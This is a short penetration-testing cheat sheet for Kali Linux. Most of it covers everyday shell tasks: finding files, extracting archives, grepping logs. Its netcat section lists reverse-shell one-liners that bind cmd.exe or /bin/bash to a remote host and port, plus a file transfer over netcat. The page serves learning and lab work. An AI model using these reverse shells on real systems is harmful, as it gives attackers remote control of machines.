> For the complete documentation index, see [llms.txt](https://ymiir.gitbook.io/extra/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ymiir.gitbook.io/extra/cheat-notes/kali-linux-101.md).

# Kali Linux 101

Kali Linux is a Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security

1. Set value

```bash
export ip=xx.xx.xx.xx
cat $ip
```

2. Locate/Find File name

```bash
locate filename
find / -name namefile\* 2>/dev/null
```

3. Unzip File

```bash
gunzip access.log.gz  //gz file
unzip access.zip    //zip file
tar -xzvf file.tar.gz  //gz or tar file
```

4. History

`history | grep wordshere`

5. String Manipulation

```bash
Get the start or end of a file
    head index.html
    tail index.html
Extract all the lines that contain a string
    grep "href=" index.html
Cut a string by a delimiter, filter results then sort
    grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
Using Grep and regular expressions and output to a file
    cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort –u > list.txt
Use a bash loop to find the IP address behind each host
    for url in $(cat list.txt); do host $url; done
Collect all the IP Addresses from a log file and sort by frequency
    cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
    
```

6. Netcat

<pre class="language-bash"><code class="lang-bash">Connect to a POP3 mail server
    nc -nv $ip 110
Listen on TCP/UDP port
    nc -nlvp 4444
Connect to a netcat port
    nc -nv $ip 4444
Send a file using netcat
<strong>    nc -nv $ip 4444 &#x3C; /usr/share/windows-binaries/wget.exe
</strong>Receive a file using netcat
    nc -nlvp 4444 > incoming.exe
Create a reverse shell with Ncat using cmd.exe on Windows
    nc.exe -nlvp 4444 -e cmd.exe
    nc.exe -nv &#x3C;Remote IP> &#x3C;Remote Port> -e cmd.exe
Create a reverse shell with Ncat using bash on Linux
    nc -nv $ip 4444 -e /bin/bash
Netcat for Banner Grabbing:
    echo "" | nc -nv -w1 &#x3C;IP Address> &#x3C;Ports>
</code></pre>
